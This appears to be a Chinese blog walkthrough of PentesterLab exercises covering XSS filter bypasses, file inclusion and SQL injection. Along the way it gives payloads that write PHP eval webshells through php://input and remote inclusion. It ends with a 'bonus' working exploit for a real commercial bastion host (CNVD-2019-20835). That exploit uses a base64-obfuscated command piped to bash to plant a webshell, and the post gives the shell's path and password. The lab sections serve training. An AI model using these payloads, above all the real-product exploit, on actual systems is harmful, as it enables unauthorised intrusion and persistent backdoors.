原创|尝一尝PentesterLab(上)文末福利

admin 2022年1月5日22:48:44评论74 views字数 4903阅读16分20秒阅读模式

01

前言

这是被大佬推荐的一个适合新手的练习平台,听大佬说把这个练习平台做完后会对常见的漏洞有进一步的认知,一直也没有想起来做一做,现在沦为hw值班工具人了,有空做一做,哈哈,废话不多说,进入正题

02

Pentesterlab的安装

安装及其简单,直接拖进虚拟机一直下一步下一步就可以了
这里给出镜像网盘下载链接:微信公众号回复“靶场”即可获取下载链接!
在/var/www/目录下 用vi写入一句话,利用蚁剑连接,方便查看源码,接着输入 ifconfig  查看ip
原创|尝一尝PentesterLab(上)文末福利
访问其便可以看到PentesterLab真面目了,点击进入便可以做了,兄弟们开搞,日穿他!
原创|尝一尝PentesterLab(上)文末福利

03

XSS

  Example 1

进入并没有框可以供我们插入,通过观察可以发现可以看到直接将get到的name没有过滤的值直接输出到html标签上,直接构造
http://ip/xss/example1.php?name=<script>alert('hello')</script>
成功弹窗
原创|尝一尝PentesterLab(上)文末福利
附上源码
<?php require_once '../header.php'; ?> <html> Hello  <?php  echo $_GET["name"]; ?> <?php require_once '../footer.php'; ?>


  Example 2

 这里尝试利用 1. <script>alert('hello')</script>并不会有弹窗,看来是有过滤了等操作,注意一下输出了什么
原创|尝一尝PentesterLab(上)文末福利
发现这里只是将alert('hello')输出了,并没有将<script>alert('hello')</script>全部输入,所以可以判断明显是将<script>与</script>替换为空了,那就先利用大小写绕过方法进行尝试
<sCript>alert('hello')</scripT>


原创|尝一尝PentesterLab(上)文末福利
成功弹窗,那就查看下源码,确实是直接将<script>给直接replace掉了,
<?php require_once '../header.php'; ?> Hello  <?php   $name =  $_GET["name"]; $name = preg_replace("/<script>/","", $name); $name = preg_replace("/</script>/","", $name); echo $name; ?> <?php require_once '../footer.php'; ?>
这里也可以利用嵌入发绕过
<scr<script>ipt>alert('hello')</sc</script>ript>


Example 3

这一关利用利用<sCript>alert('hello')</scripT>发现并没有触发弹窗,观察发现
原创|尝一尝PentesterLab(上)文末福利
还是将<sCript>与</scripT>进行过滤了,首先思考一下是不是这里不区分大小写了,那就利用嵌入发进行尝试一下
<scr<script>ipt>alert('hello')</sc</script>ript>


成功弹窗
原创|尝一尝PentesterLab(上)文末福利
附上源码,preg_replace("/<script>/i","", $name);匹配不区分大小写,所以大小写无法绕过 


<?php   $name =  $_GET["name"]; $name = preg_replace("/<script>/i","", $name); $name = preg_replace("/</script>/i","", $name); echo $name; ?> <?php require_once '../footer.php'; ?>Example 4


原创|尝一尝PentesterLab(上)文末福利
这一关是直接提示error,这个并不会像前几关那样通过,通过fuzz一下判断出只有script会触发error,那就尝试利用 img标签进行绕过
<img src='1' onerror='alert(1)' />


利用img标签的onerror事件,故意使不能成功加载图片,利用onerror事件弹窗成功
原创|尝一尝PentesterLab(上)文末福利
附上源码,
<?php require_once '../header.php';  if (preg_match('/script/i', $_GET["name"])) {   die("error"); } ?> Hello <?php  echo $_GET["name"]; ?> <?php require_once '../footer.php'; ?> 

Example 5
按照套路,我首先利用<sCript>alert('hello')</scripT>来测试一下,显示error,是什么原因提示这个呢,测试一下,是alert被ban了,看看有什么办法绕一下
1.利用prompt() 方法,其用于显示可提示用户进行输入的对话框
原创|尝一尝PentesterLab(上)文末福利

2.confirm() 方法,其用于显示一个带有指定消息和 OK 及取消按钮的对话框。

原创|尝一尝PentesterLab(上)文末福利
3.利用Unicode编码进行绕过
<script>u0061u006Cu0065u0072u0074('hello')</script>


原创|尝一尝PentesterLab(上)文末福利
贴一下代码
<?php require_once '../header.php';  if (preg_match('/alert/i', $_GET["name"])) {   die("error"); } ?> Hello <?php  echo $_GET["name"]; ?> <?php require_once '../footer.php'; ?>  


Example 6

这一次get值的并没有显示出来,查看源代码,原来是将其作为js变量了
原创|尝一尝PentesterLab(上)文末福利
看一看这里该如何绕过
原创|尝一尝PentesterLab(上)文末福利
首先是输入一个"进行闭合,然后利用 // 注释掉 "; 最后为
" ;alert(1);//

成功弹窗


原创|尝一尝PentesterLab(上)文末福利


Example 7

example 6 中 " 改为 ' 便可以了
原创|尝一尝PentesterLab(上)文末福利

Example 8

这一关post形式,但是我尝试了很长时间也没有弹窗成功,查看并没发现任何过滤,尝试进行闭合也没过,不过查看网页源代码的时候看到其post地址使用了当前的url
原创|尝一尝PentesterLab(上)文末福利
在这里构造
/"><script>alert(1)</script>


原创|尝一尝PentesterLab(上)文末福利
弹窗成功,附代码
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">   Your name:<input type="text" name="name" />   <input type="submit" name="submit"/>


Example 9

这个,emmm没有做出来,先看看源码
<script>   document.write(location.hash.substring(1)); </script>
document.write(location.hash.substring(1)); 这是直接将锚点的内容输出在了页面中,但是转义了。。。

原创|尝一尝PentesterLab(上)文末福利
看了看网上的wp,说是因为chrome与firefox编码了<>这两个特殊符号,那好吧。

04

 File Include

Example 1

查看example 1的源代码
原创|尝一尝PentesterLab(上)文末福利

可以看到这里面直接可以这里没有加各种防护,直接将get到的page给包含了,下面我利用三种方法做一下

 本地文件包含

原创|尝一尝PentesterLab(上)文末福利

通过包含可以直接看到/etc/passwd中的信息

 远程文件包含

首先我将一句话小马以txt的方式放到了我的服务器上让靶机能够访问到,让靶机访问我服务器上的小马

原创|尝一尝PentesterLab(上)文末福利

成功访问看到了靶机的phpinfo,蚁剑也连接成功

原创|尝一尝PentesterLab(上)文末福利

 利用伪协议

 1.  利用filter协议读:

php://filter/read=conver.base64-encode/resource=xxx.php

利用这句话就可将所选的代码以base64编码的方式输出,当我们知道我们需要查看相关页面的源码我们便可以查看,以example.php为例

http://192.168.234.142/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=example1.php

原创|尝一尝PentesterLab(上)文末福利

base64解码后便可以查看到example1.php的信息

2.利用input协议 (前提是fopen还有include都要开)

原创|尝一尝PentesterLab(上)文末福利

传小马:

http://192.168.234.142/fileincl/example1.php?page=php://input

post:

  <?php fputs(fopen("shell1.php","w"),"<?php @eval($_REQUEST['a'])?>");


原创|尝一尝PentesterLab(上)文末福利

也可以直接通过input伪协议直接查看:

原创|尝一尝PentesterLab(上)文末福利

Example 2

查看源码:

原创|尝一尝PentesterLab(上)文末福利
会将get到的page中的值后面加上php后缀,再看perg_replace()这个当遇到16进制的00的时候会将其和后面的替换为空,所以构造
http://192.168.234.142/fileincl/example2.php?page=/etc/passwd%00
原创|尝一尝PentesterLab(上)文末福利

直接输出了,这里就不写其他方法了,文件包含1的利用办法都可以只不过是在最后加上%00

05

SQL injections

Example 1

这一关就是常见的字符型注入,利用  ' 进行闭合

原创|尝一尝PentesterLab(上)文末福利

Example 2

查看源码
原创|尝一尝PentesterLab(上)文末福利

可以看到这里对name进行了一次匹配,如果匹配到空格将会被ban,那就用 块注释符进行绕过,因为空格被ban所以这里的要用到 #来进行注释 ,url中 #号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#  将#号改成url的编码%23就可以了。

原创|尝一尝PentesterLab(上)文末福利

sqlmap利用 --tamper=space2comment  可以进行绕过

Example 3

查看源码

原创|尝一尝PentesterLab(上)文末福利

这里是进行匹配任意空白字符,所以利用 example 2 的方式便可以进行绕过

原创|尝一尝PentesterLab(上)文末福利

Example 4

查看源码

原创|尝一尝PentesterLab(上)文末福利

mysql_real_escape_string() 函数会将sql语句中的一些特殊字符进行转义 如常用到的 ' ," , 等进行转义,所以这里会限制进行一些操作,但是这里也可以进行一些不需要这些符号的注入 如 1 OR 1=1

原创|尝一尝PentesterLab(上)文末福利

但是观察代码可以发现,这个是有个数字型注入,所以这里基本不受影响,直接

原创|尝一尝PentesterLab(上)文末福利

Example 5

先看源码

原创|尝一尝PentesterLab(上)文末福利
原创|尝一尝PentesterLab(上)文末福利

这里改成了正则匹配。。。在字符串开头进行匹配,匹配一个或多个数字,用 4 的方法依然有效

Example 6

原创|尝一尝PentesterLab(上)文末福利

查看源码

这次是又改成在字符串的末尾进行匹配了,那就在末尾加几个数字进行绕过一下

原创|尝一尝PentesterLab(上)文末福利

Example 7

原创|尝一尝PentesterLab(上)文末福利

这里对id进行了严格要求其中id只能为正负数,但其有 /m:匹配每一行的开始和结束,又结合 ?所以这里只需要满足其中一行满足正则表达式即可,利用 %0a换行符进行绕过

原创|尝一尝PentesterLab(上)文末福利

Example 8

看源码

原创|尝一尝PentesterLab(上)文末福利

这里利用的是 order by 而不是利用 where 所以这里考虑利用盲注做一下 还有就是这里利用的  ` 所以在利用sqlmap跑的时候应该加上否则不太容易成功

py sqlmap.py -u "http://192.168.234.142/sqli/example8.php?order=name`"  --dbs


原创|尝一尝PentesterLab(上)文末福利

Example 9

看源码
原创|尝一尝PentesterLab(上)文末福利

跟8差不多还是需要盲注,利用sqlmap跑一下

原创|尝一尝PentesterLab(上)文末福利

未完待续+文末福利

齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)未授权无登录。

1、访问 http://127.0.0.1/listener/cluster_manage.php  :返回 "OK".

2、访问如下链接即可getshell,执行成功后,生成PHP一句话马

https://127.0.0.1/ha_request.php?action=install&ipaddr=127.0.0.1&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}

3、/var/www/shterm/resources/qrcode/lbj77.php  密码10086

原创|尝一尝PentesterLab(上)文末福利

云闲|剑青

侠骨|初心

感  谢  关  注

本文始发于微信公众号(云剑侠心):原创|尝一尝PentesterLab(上)文末福利

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:48:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创|尝一尝PentesterLab(上)文末福利https://cn-sec.com/archives/480044.html

发表评论

匿名网友 填写信息